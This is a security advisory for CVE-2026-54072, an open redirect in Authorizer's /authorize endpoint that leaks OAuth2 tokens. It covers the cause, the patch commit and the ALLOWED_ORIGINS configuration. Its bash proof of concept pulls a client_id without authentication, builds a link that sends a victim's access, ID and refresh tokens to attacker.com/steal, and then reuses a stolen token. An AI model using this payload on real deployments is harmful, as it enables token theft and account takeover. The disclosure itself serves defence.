critical · 9.3CVE-2026-54072Jul 10, 2026

CVE-2026-54072: Authorizer Open Redirect Leaks OAuth2 Tokens via Unvalidated redirect_uri

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Authorizer's /authorize endpoint sends a logged-in user's access, ID, and refresh tokens directly to any URL an attacker supplies, because it never checks whether the redirect_uri is in the server's a

Packagegithub.com/authorizerdev/authorizer
Ecosystemgo
Affected< 0.0.0-20260409051328-bd3f5baf6d3d
Fixed in0.0.0-20260409051328-bd3f5baf6d3d

The problem

The `/authorize` handler in `internal/http_handlers/authorize.go` reads `redirect_uri` from the query string and uses it as the redirect target without calling `validators.IsValidOrigin()`. Every other handler that was fixed in v2.0.1 (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) now has that check, but `/authorize` was left out.

When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 to the attacker-supplied URL. The required `client_id` is freely available from the unauthenticated GraphQL meta endpoint, so no credentials are needed to construct the attack URL.

Proof of concept

A working proof-of-concept for CVE-2026-54072 in github.com/authorizerdev/authorizer, with the exact payload below.

bash
# Step 1: Grab client_id (no auth required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{meta{client_id}}"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")

# Step 2: Send this link to a logged-in victim
# Tokens land at attacker.com the moment the browser follows the 302
MALICIOUS_URL="http://TARGET/authorize\
?response_type=token\
&client_id=${CLIENT_ID}\
&redirect_uri=https://attacker.com/steal\
&scope=openid+profile+email\
&state=x\
&response_mode=query"

# Step 3: Attacker receives:
# GET /steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...&refresh_token=...

# Step 4: Confirm the stolen token works
curl -s http://TARGET/userinfo \
  -H 'Authorization: Bearer STOLEN_ACCESS_TOKEN'
# {"email":"victim@example.com","id":"...","roles":["user"]}

The root cause is a missing allowlist check (CWE-601). The patch commit (bd3f5baf6d3d) adds the same `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)` guard to `authorize.go` that v2.0.1 already applied to the other six handlers.

Tokens are appended as plain query parameters before the redirect fires, so they also appear in the attacker's server access logs, the victim's browser history, and any Referer headers sent to third-party scripts on the attacker's page. The `client_id` needed to craft the URL is exposed by the public `/graphql?query={meta{client_id}}` endpoint with no authentication, making the attack fully self-contained.

Note: the default `AllowedOrigins` value is `["*"]`, which means the `IsValidOrigin` check is a no-op unless the operator explicitly configures a restrictive origins list. Upgrading is necessary but not sufficient; operators must also set `ALLOWED_ORIGINS` to their specific domains.

The fix

Upgrade to commit `bd3f5baf6d3d` (pseudo-version `0.0.0-20260409051328-bd3f5baf6d3d`) or any tagged release built on top of it. After upgrading, set the `ALLOWED_ORIGINS` environment variable to your exact application origin(s), for example `https://app.example.com`.

The default wildcard `["*"]` makes the new guard ineffective.

Reported by Koda Reef.

References: [1][2]

Related research